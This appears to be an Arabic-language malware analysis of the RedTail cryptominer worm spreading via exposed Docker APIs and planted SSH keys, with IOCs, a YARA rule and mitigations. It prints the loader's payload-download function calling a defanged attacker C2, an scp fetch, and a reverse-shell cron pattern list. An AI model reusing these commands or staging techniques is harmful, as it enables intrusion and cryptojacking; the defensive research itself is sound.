هذه الصفحة ترجمة. النسخة الإنجليزية هي النص المعتمد. اقرأه بالإنجليزية
malware · cryptomining · redtail · docker · linux · honeypot · worm
داخل حملة RedTail: الانتشار الذاتي عبر واجهات Docker API المكشوفة
رصدت مصائد Kinryū Labs مُعدِّن العملات RedTail وهو ينتشر عبر واجهات Docker Engine API غير الخاضعة للمصادقة وعبر مفاتيح SSH مزروعة. يوثّق هذا التحليل حالة راهنة مُلتقطة بالكامل، بما فيها المُحمِّل وسكربت إزالة المنافسين والمُعدِّن والمؤشرات الحية.
بقلم Davis Zheng·
TLP:CLEAR. مُصرَّح بالنشر العام. التُقطت المادة عبر شبكة مصائد الاستشعار التابعة لـ Kinryū Labs. المؤشرات الواردة أدناه مُبطَّلة المفعول.
الملخص التنفيذي
- 2375واجهة Docker API مكشوفة، وهي مدخل الاختراق
- 4معماريات معالجات مستهدفة
- ~21sزمن اختراق المهاجم كاملًا
- قابل للانتشار كدودةعميل SSH مدمج داخل المُعدِّن
بين مطلع يونيو 2026 ومنتصفه رصدت شبكة مصائدنا دودة تنتشر عبر واجهات Docker Engine API المكشوفة على الإنترنت على المنفذ TCP/2375، وتُسقِط RedTail، وهو مُعدِّن Monero مبني على XMRig وموجود منذ أواخر 2023. يسرد المهاجم الحاويات العاملة عبر واجهة Docker API المفتوحة، ثم ينفذ أوامر داخل كل حاوية، ويزرع مفتاح SSH خاصًا لتحقيق الاستمرارية والحركة الجانبية، ثم يسحب مُحمِّلًا متعدد المعماريات. يقوم المُحمِّل بتثبيت مُعدِّن يحمل معه عميل SSH خاصًا به للانتشار، ومُتنصِّت libpcap للعثور على أهداف جديدة.
الحمولة هي RedTail بلا لبس. يُعرف RedTail أساسًا بوصوله عبر استغلال تطبيقات الويب (PAN-OS وIvanti وLog4Shell وPHP-CGI وTP-Link)، كما سبق التقرير عن استخدامه لواجهات Docker API المكشوفة. يضيف هذا التحليل حالة راهنة ملتقطة بالكامل لهذا الأسلوب في التسليم عبر Docker API: خادم التحكم والمؤشرات الحية، وزرع مفتاح SSH الذي يتيح للمضيف تكرار نفسه، وسكربت إزالة المنافسين الذي أشارت إليه تحليلات سابقة دون أن تستعيده.
يحمل المُعدِّن إعدادات تشغيل مشفّرة ولا يتضمن محفظة مدمجة، لذا لا يمكننا استخراج عنوان Monero من العينة. يتطلب استخراجه تفجيرًا حيًا مع التقاط لحركة الشبكة.
- الحمولة هي RedTail (ثقة عالية). فسلسلة
libredtail evbuffer_tls، وأثر.redtail، والقيمة الاحتياطيةredtailداخل المُحمِّل، وبنية الإعدادات المشفّرة بلا محفظة، كلها تتطابق مع إصدارات العائلة بعد 2024. - الحملة قابلة للانتشار كدودة (ثقة عالية). فأدوات Docker API، والمفتاح المزروع، وعميل SSH المدمج في المُعدِّن، هي كل ما يحتاجه مضيف حديث الإصابة كي يبحث بنفسه عن الضحية التالية.
- دافع المشغّل مالي (ثقة متوسطة). فسرقة بيانات الاعتماد والتنصّت يبدوان في خدمة الانتشار لا في خدمة هدف منفصل لسرقة البيانات.
- سبق التقرير عن استخدام RedTail لمسار Docker API، وهو ما زال فعّالًا. فمقبس واحد مكشوف على TCP/2375 يمنح المهاجم تنفيذ أوامر بصلاحيات الجذر داخل كل حاوية على المضيف.
سلسلة الهجوم
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp dlr@217.60.195[.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
المرحلة الأولى: الوصول الأولي عبر واجهة Docker API
يستهدف المهاجم نسخ Docker Engine التي تكشف واجهة REST غير الخاضعة للمصادقة على المنفذ TCP/2375. استغرق تسلسل المهاجم كاملًا نحو 21 ثانية:
GET /versionوGET /containers/jsonلتحديد بصمة المحرك وسرد الحاويات.POST /containers/{id}/execثمPOST /exec/{id}/startعلى كل حاوية عاملة.- حمولة صدفة داخل الحاوية تكتب مفتاح SSH الخاص بالمهاجم وتجلب المُحمِّل.
هذه الخطوة الأخيرة هي ما يحوّل الأمر من مُعدِّن منفرد إلى دودة. فالمضيف الذي يُصاب ويصادف أن يكشف واجهة Docker API الخاصة به سيشغّل الروتين نفسه للسرد والتنفيذ على مجموعة الضحايا التالية.
مفتاح SSH المزروع (الاستمرارية والحركة الجانبية)
| السمة | القيمة |
|---|---|
| النوع | مفتاح OpenSSH ed25519 خاص |
| التعليق | dlr@sftp |
| بصمة SHA256 للمفتاح العام | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| مصدر السحب (قناة SCP) | dlr@217.60.195[.]113 |
لن ننشر المفتاح الخاص. استخدم البصمة أعلاه للبحث عنه: افحص
authorized_keysو~/.sshعبر بنيتك بأكملها.
المرحلة الثانية: المُحمِّل /sh
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
النوع: سكربت صدفة POSIX
مُحمِّل صغير ومحمول، وحذر كذلك.
اسم ملف مخفي عشوائي. تُركّب الدالة get_random_string() اسمًا أبجديًا رقميًا بطول 4 إلى 35 حرفًا، مجرِّبة /dev/urandom ثم openssl ثم $RANDOM، وترتد إلى السلسلة الحرفية redtail إذا فشلت جميعها. هذا الارتداد دلالة مفيدة على العائلة. يهبط المُعدِّن باسم .<random> مع نقطة بادئة لإبقائه خارج نتائج ls العادية. تحتفظ VirusTotal بهذه العينة تحت أحد تلك الأسماء، وهو .mn6VTucEsFZY1PdSC2QAq.
مساعد التنزيل. تعطّل الدالة dlr() التحقق من TLS، لأن خادم التحكم موقّع ذاتيًا، وترتد من wget إلى curl:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
تجهيز يراعي noexec. يقرأ المُحمِّل ملف /proc/mounts، ويستبعد كل نقطة وصل عليها noexec، ثم ينفذ find / -user $(whoami) -perm -u=rwx للعثور على موضع يمكنه الكتابة فيه والتنفيذ منه معًا. ويختبر الكتابة في كل مرشح بـ dd أو truncate بحجم 2 ميغابايت قبل استخدامه، وهو جهد أكبر مما تبذله معظم المُحمِّلات: فالأسلوب المعتاد هو الكتابة في /tmp والأمل في أن ينجح الأمر.
تنظيف المنافسين. يجلب السكربت clean ويشغّله (dlr clean; chmod +x clean; sh clean; rm -rf clean) ثم يحذفه. وقد التقطنا ذلك السكربت أيضًا ونحلّله أدناه. يستهدف آليات استمرارية المنافسين ومواضع تجهيزهم، ويترك العمليات العاملة وشأنها.
الترتيب بعده. يحذف .redtail وملف .<random> السابق قبل تثبيت الملف الجديد.
اختيار المعمارية. يختار مفتاح تبديل قائم على uname -mp النسخة المناسبة:
| مطابقة المعمارية | ما يُنزَّل |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| غير معروفة | يجرب الأربعة جميعًا ويشغّل كلًا منها |
التشغيل. ./.<random> $1، مع تمرير $1 الأصلي للمُحمِّل، وهو ما يعامله RedTail كوسم للحملة أو لمسار الوصول.
سكربت إزالة المنافسين clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
النوع: سكربت Bash (795 بايت)
التقطنا clean في إصابة لاحقة على المصائد. وظيفته كاملة هي إزالة البرمجيات الخبيثة الأخرى من الجهاز حتى ينفرد به RedTail:
-
تنظيف cron. لكل جدول cron خاص بمستخدم (
/var/spool/cron/crontabs/*)، وجدول cron النظامي (/etc/crontab،/etc/crontabs)، ومجلدات الإضافات (/etc/cron.{hourly,daily,weekly,monthly,d})، وملف/etc/anacrontab، يزيل السكربت الخاصية غير القابلة للتغيير بـchattr -ia(تضبطها البرمجيات الخبيثة المنافسة لحماية أسطر cron الخاصة بها) ثم يحذف أي سطر يطابق نمط إعادة الإصابة:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dيقتلع ذلك حاضنات التنزيل والأصداف العكسية الخاصة بالمجموعات الأخرى مع ترك مدخلات cron المشروعة سليمة.
-
القضاء على منافس بعينه. يعطّل السكربت خدمة systemd المسماة
c3pool_minerويوقفها، في ضربة مباشرة لمُعدِّن c3pool. -
مسح مواضع التجهيز. يفرّغ
/tmpو/var/tmpو/dev/shmبـrm -rf، مزيلًا حمولات المنافسين والمساحة المؤقتة التي يتشاركونها.
ترك العمليات العاملة مقايضة. فالقتل الجماعي يحرر المعالج فورًا لكنه بالضبط نوع الحدث الذي ينبّه عنه مضيف خاضع للمراقبة، في حين أن اقتلاع أسطر cron وتفريغ مجلدات التجهيز يحذف حاضنة إعادة الإصابة لدى المنافس، فيصمد الطرد عبر إعادة التشغيل التي كانت ستبطله لولا ذلك.
المرحلة الثالثة: مُعدِّن RedTail (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
الحجم: 1,880,264 بايت (1.79 ميغابايت)
الصيغة: ELF 64-bit LSB EXEC (مرتبط استاتيكيًا، non-PIE)، x86-64، نقطة الدخول 0xaa9e18
أداة الحزم: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 خبيث، تقييم المجتمع −60، أول ظهور نحو 2026-06-05
وسوم التهديد: trojan.usblem26/abminer؛ العائلات usblem26 / abminer / gen3
الحزم ومقاومة التحليل
- UPX 5.02 مع بقاء الترويسة سليمة. يفك
upx -dالحزم بنظافة إلى ملف ELF مرتبط استاتيكيًا بحجم نحو 5 ميغابايت. - تنفيذ بلا ملفات. تُظهر رؤى الشيفرة في VirusTotal استخدامه لـ
memfd_create(نداء النظام0x13f) لتشغيل الحمولة مباشرة من واصف ملف في ذاكرة مجهولة، مع إعادة تنفيذ عبر/proc/self/exeوتجهيز في/dev/shm. لا شيء يلمس القرص، فلا تُتاح لمكافحات الفيروسات القائمة على القرص أي فرصة للنظر. - تزييف اسم العملية (
sets-process-name) كي يندمج مع العمليات الطبيعية. - التهرب من المنقّحات (
detect-debug-environment). تصف التحليلات المنشورة عن RedTail تنقيحًا ذاتيًا عبرptraceوقيام الملف الثنائي بقتل GDB فعليًا. - ملاحظة بشأن مكافح الفيروسات على المضيف. يصنّف Microsoft Defender ملف ELF المحزوم على أنه
Trojan:Linux/Multiverze!rfnويمنع قراءته من القرص، لذا يجب أن يجري الفرز الاستاتيكي في جهاز معزول أو في الذاكرة.
المكوّنات المؤكدة (من سلاسل .rodata بعد فك الحزم)
نواة التعدين XMRig
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail، حزمة الشبكة المميِّزة للعائلة
libredtail evbuffer_tls
Connection keepalive User-Agent
نسخة مخصصة من libevent مع عميل HTTP فوق TLS. سلسلة libredtail evbuffer_tls هي ما يفصل RedTail عن نسخة XMRig القياسية.
عميل SSH مدمج (الحركة الجانبية وسرقة بيانات الاعتماد)
ssh-userauth ssh-ed25519 sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
يحمل المُعدِّن عميل SSH كاملًا. وهو المحرك وراء زرع مفتاح dlr@sftp ووراء الانتشار. يتولى الملف الثنائي للمُعدِّن سرقة بيانات الاعتماد والانتشار عبر SSH بنفسه. لا شيء من ذلك موجود في المُسقِط.
libpcap مدمجة (التنصّت على الشبكة)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
التقاط للحزم على المضيف نفسه، وهو ما يتسق مع الاكتشاف المحلي للمضيفين وبيانات الاعتماد.
جداول الترميز. تظهر أبجديتا Base64 القياسية والآمنة لعناوين URL معًا (...+/ و...-_)، ويستخدمهما روتين فك ترميز الإعدادات.
الإعدادات وفجوة الإسناد
بحثنا بعمق في الملف الثنائي بعد فك الحزم عن عناوين IP وروابط وسلاسل stratum وpool وأنماط عناوين Monero. المجمّعات الوحيدة الموجودة فيه هي مجمّعات التبرع للمطورين المدمجة في XMRig (donate.ssl.xmrig.com وdonate.v2.xmrig.com)، وهي موجودة في كل نسخة من XMRig ولا يسيطر عليها المشغّل. لا يوجد أي مجمّع أو وسيط أو محفظة تابعة للمهاجم بصيغة نصية واضحة.
هذا مقصود، ويتطابق مع المسار الذي سلكه RedTail منذ 2024. فإعدادات التعدين مشفّرة ولا تُفك إلا في الذاكرة وقت التشغيل، والنسخ الحديثة لا تحمل أي محفظة على الإطلاق، ما يشير إلى مجمّع خاص أو وسيط مجمّع بدلًا منها. وعليه:
- لا يمكننا استخراج محفظة Monero من هذه العينة.
- لا يظهر وسيط المجمّع إلا عبر تفجير حي مع مصرف شبكي (انظر المنهجية).
الإسناد
هذا هو RedTail، المعروف أيضًا بمُعدِّن .redtail، وهو مُعدِّن Monero مشتق من XMRig كُتب عنه أول مرة نحو أواخر 2023 ومطلع 2024. وما يتطابق معه:
- سلسلة
libredtail evbuffer_tlsالفريدة له. - أثر
.redtailوالقيمة الاحتياطيةredtailفي المُحمِّل. - بنية الإعدادات المشفّرة بلا محفظة، والمُحمِّل متعدد المعماريات، وسكربت المنافسين
clean، وسرقة بيانات اعتماد SSH، وكلها سمات معروفة لـ RedTail.
وللمقارنة، فإن مسارات التسليم المسجّلة سلفًا لهذه العائلة هي CVE-2024-3400 (PAN-OS)، وCVE-2023-46805 وCVE-2024-21887 (Ivanti)، وCVE-2021-44228 (Log4Shell)، وCVE-2024-4577 (PHP-CGI)، وCVE-2023-1389 (TP-Link). كما تسم VirusTotal هذه العينة بـ CVE-2021-41773 (اجتياز المسارات في Apache 2.4.49/2.4.50 وصولًا إلى تنفيذ أوامر عن بُعد) وCVE-2015-2808 (RC4، “Bar Mitzvah”).
سبق التقرير عن استخدام RedTail لواجهات Docker API المكشوفة، فالمسار نفسه قديم. وما كان ضعيفًا في تلك التقارير السابقة هو وسط السلسلة، وهو موضع هذا الالتقاط بالضبط: سكربت clean مستعادًا لا مستنتجًا، وخادم التحكم وبصمات الحمولة حيّة وقت الجمع، ومفتاح dlr@sftp المزروع الذي يغلق الدائرة عائدًا إلى المرحلة الأولى.
التوقعات
تغيّر مجموعات التعدين الخبيث أسلوب اختراقها أكثر بكثير مما تغيّر حمولتها، ويسهّل المُحمِّل المعياري لـ RedTail استبدال مدخل بآخر. وواجهة Docker API المفتوحة استبدال زهيد الكلفة. فلا استغلال يحتاج صيانة ولا دورة ترقيع للسباق معها، والوصول الذي تمنحه هو صلاحيات الجذر داخل كل حاوية على الجهاز، ومعين المنافذ 2375 المكشوفة على الإنترنت لم ينضب. وقد سبق لـ RedTail أن كان هنا.
نرجّح أن يُبقي المشغّل على مسار Docker API إلى جانب استغلالات الويب بدلًا من استبدال أحدهما بالآخر، وهو ما يمنحه ببساطة مضيفين أكثر في متناوله. إن كنت تشغّل حاويات، فعامل واجهة Docker API المكشوفة كما لو كانت قائمة على الإنترنت العام، لأنها كذلك فعليًا.
مؤشرات الاختراق
الشبكة
| المؤشر | السياق |
|---|---|
14.46.136[.]77 | خادم التحكم / مضيف الحمولة (HTTPS، موقّع ذاتيًا). يقدّم /sh و/clean و/x86_64 و/i686 و/aarch64 و/arm7. يرشّح حركة الخروج السحابية حسب رقم النظام المستقل. |
hxxps://14.46.136[.]77/sh | رابط مُحمِّل المرحلة الثانية |
hxxps://14.46.136[.]77/clean | سكربت إزالة المنافسين (تطهير cron ومواضع التجهيز) |
217.60.195[.]113 | مصدر المفتاح / الحمولة عبر SCP (dlr@217.60.195[.]113) |
الملفات (SHA256 / MD5)
| الملف | SHA256 | MD5 |
|---|---|---|
sh (المُحمِّل) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (تطهير المنافسين) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (المُعدِّن) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
آثار على المضيف
| المؤشر | السياق |
|---|---|
.redtail | أثر المُعدِّن / علامة إصابة سابقة |
.<random alnum> مثل .mn6VTucEsFZY1PdSC2QAq | اسم ملف المُعدِّن المخفي (نقطة بادئة + عشوائي) |
تعليق مفتاح SSH dlr@sftp | المفتاح المزروع |
بصمة المفتاح العام SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | بصمة المفتاح المزروع؛ ابحث عنها في authorized_keys |
ملفات مُجهَّزة في /dev/shm أو /var/tmp أو /tmp أو أي مجلد rwx قابل للكتابة من المستخدم | مواضع التجهيز |
السلوك
memfd_create(نداء النظام0x13f) ينفّذ ملف ELF من واصف ملف مجهول.- عملية تقرأ
/proc/mountsثم تشغّلfind / -perm -u=rwx(تجهيز يراعي noexec). - تزييف اسم العملية؛ تهرب من المنقّحات قائم على
ptrace. - اتصالات خارجة بـ
stratum+tcp:///stratum+ssl://نحو مضيف غير قياسي. systemctl disable c3pool_minerوsystemctl stop c3pool_miner(طرد المنافس).chattr -iaعلى مسارات crontab يتبعها مباشرة حذف جماعي لأسطرwget/curl/ الأصداف العكسية من cron.rm -rfعلى/tmp/*و/var/tmp/*و/dev/shm/*(مسح مواضع تجهيز المنافسين).
الكشف
الكشف على المضيف (منطق العمليات / EDR)
نبِّه عند وجود عملية تقوم، بالتسلسل، بما يلي:
- تقرأ
/proc/mounts، ثم تشغّلfind / ... -perm -u=rwx ...، و - تكتب ملفًا باسم عشوائي يبدأ بنقطة في مجلد قابل للكتابة من الجميع، و
- تستدعي
memfd_createيتبعه تنفيذ من واصف الملف الناتج.
كل واحدة منها بمفردها إشارة ضعيفة. أما الثلاث مجتمعة فإشارة قوية على هذا المُحمِّل.
قاعدة YARA مقترحة (الملف الثنائي بعد فك الحزم)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
تطابق هذه القاعدة الملف الثنائي بعد فك حزم UPX. أما العينة المحزومة فارتكز فيها على توقيع UPX وحجم الملف (نحو 1.79 ميغابايت) وبصمات VirusTotal أعلاه.
الكشف على الشبكة
- احجب ونبِّه على حركة الخروج نحو
14.46.136[.]77و217.60.195[.]113. - نبِّه على
stratum+tcp/stratum+sslنحو أي وجهة غير مدرجة في القائمة المسموحة. - نبِّه على طلبات GET عبر HTTP(S) لمسارات من حرف واحد أو مسمّاة باسم معمارية (
/sh،/x86_64،/aarch64،/arm7).
إجراءات التخفيف
- لا تكشف واجهة Docker API (2375/2376) لشبكات غير موثوقة. اربطها بالمضيف المحلي أو بمقبس محمي، واشترط مصادقة TLS بشهادة عميل. هذا الضابط وحده يكسر خطوة الوصول الأولي من جذرها.
- دقّق في
~/.ssh/authorized_keysعبر بنيتك بأكملها بحثًا عن مفتاحdlr@sftpوبصمته. - رشّح حركة الخروج وراقبها بحثًا عن حركة stratum وعناوين خوادم التحكم أعلاه.
- حمّل
/tmpو/var/tmpو/dev/shmبخيارnoexecحيثما أمكن. يرفع ذلك الكلفة، رغم أن هذا المُحمِّل يراعي noexec وسيبحث عن مجلد آخر قابل للكتابة والتنفيذ. - حصّن الحاويات: أسقط الصلاحيات التي لا تحتاجها، واستخدم أنظمة ملفات جذر للقراءة فقط، وشغّل بأقل امتياز ممكن حتى لا يمنح
execإلى الداخل بيئة تنفيذ صالحة للمهاجم.
الربط بإطار MITRE ATT&CK
| التكتيك | التقنية |
|---|---|
| الوصول الأولي | T1190 Exploit Public-Facing Application (Docker API) |
| التنفيذ | T1609 Container Administration Command؛ T1059.004 Unix Shell |
| الاستمرارية | T1098.004 SSH Authorized Keys |
| التهرب من الدفاعات | T1027.002 Software Packing (UPX)؛ T1620 Reflective / Memory Code Loading (memfd_create)؛ T1564.001 Hidden Files؛ T1036.004 Masquerade Task or Process Name؛ T1622 Debugger Evasion؛ T1070.004 File Deletion |
| الوصول إلى بيانات الاعتماد | T1552.004 Private Keys؛ T1040 Network Sniffing |
| الاستكشاف | T1046 Network Service Scanning؛ T1082 System Information Discovery؛ T1057 Process Discovery؛ T1018 Remote System Discovery |
| الحركة الجانبية | T1021.004 Remote Services: SSH؛ T1570 Lateral Tool Transfer |
| القيادة والتحكم | T1071.001 Web Protocols؛ T1573 Encrypted Channel؛ T1105 Ingress Tool Transfer |
| التأثير | T1496 Resource Hijacking (تعدين العملات) |
المنهجية وملاحظات المحلل
- سحبنا المرحلتين الثانية والثالثة من خادم التحكم الحي عبر HTTPS. ينتهي وقت الاتصال بـ
14.46.136[.]77من نطاقات عناوين مزودي السحابة الكبار بينما يخدم النطاقات المنزلية، وهو ترشيح حسب رقم النظام المستقل أو حسب الموقع الجغرافي يعطّل صناديق الرمل السحابية الآلية. - يثير ملف ELF المحزوم إنذار Microsoft Defender (
Trojan:Linux/Multiverze!rfn) ولا يمكن حتى قراءته من القرص على مضيف Windows محمي، لذا جرى الفرز الأول في الذاكرة، بفك الأرشيف داخل عملية Python دون كتابة ملف ELF الخام إلى القرص إطلاقًا. - جرى فك الحزم بـ
upx -dداخل بيئة FLARE-VM معزولة. وحلّلنا الملف الثنائي بعد فك الحزم تحليلًا استاتيكيًا، عبر السلاسل والبنية، دون تشغيله. - لم نشغّل المُعدِّن، لذا لا يتضمن هذا التقرير وسيط المجمّع وإعدادات Monero التي تُفك تشفيرها وقت التشغيل.
- استعدنا المفتاح الخاص للمهاجم من الالتقاط ولن ننشره. لا تتضمن المؤشرات سوى بصمة المفتاح العام (أعلاه)، وهي ما يحتاجه المدافعون للبحث عن مفتاح
dlr@sftpالمزروع فيauthorized_keys.
المتابعة الموصى بها (للحصول على مؤشر وسيط المجمّع)
للحصول على وسيط المجمّع، فجّر الملف الثنائي بعد فك الحزم على جهاز Linux معزول (REMnux يفي بالغرض) مع:
- مصرف شبكي (INetSim، أو
fakednsمع مستقبِل TCP شامل) لاستدراج الاتصال، - و
tcpdump -i any -w redtail.pcapلالتقاط طلب CONNECT وتسجيل الدخول في stratum، - و
strace -fلانتزاع الإعدادات بصيغتها الواضحة التي يفك المُعدِّن تشفيرها قبيل أولconnect()، وهي غالبًا قابلة للقراءة حتى حين يحجبها TLS على السلك.
هذان المضيف والمنفذ هما آخر مؤشر لا يزال معلقًا في هذه الحملة.
العينات
العينات (المُحمِّل وسكربت clean والمُعدِّن المحزوم) متاحة للباحثين والمدافعين الآخرين عند الطلب. راسلنا على contact@kinryu.sh مع سطر موجز عن هويتك والغرض من طلبها.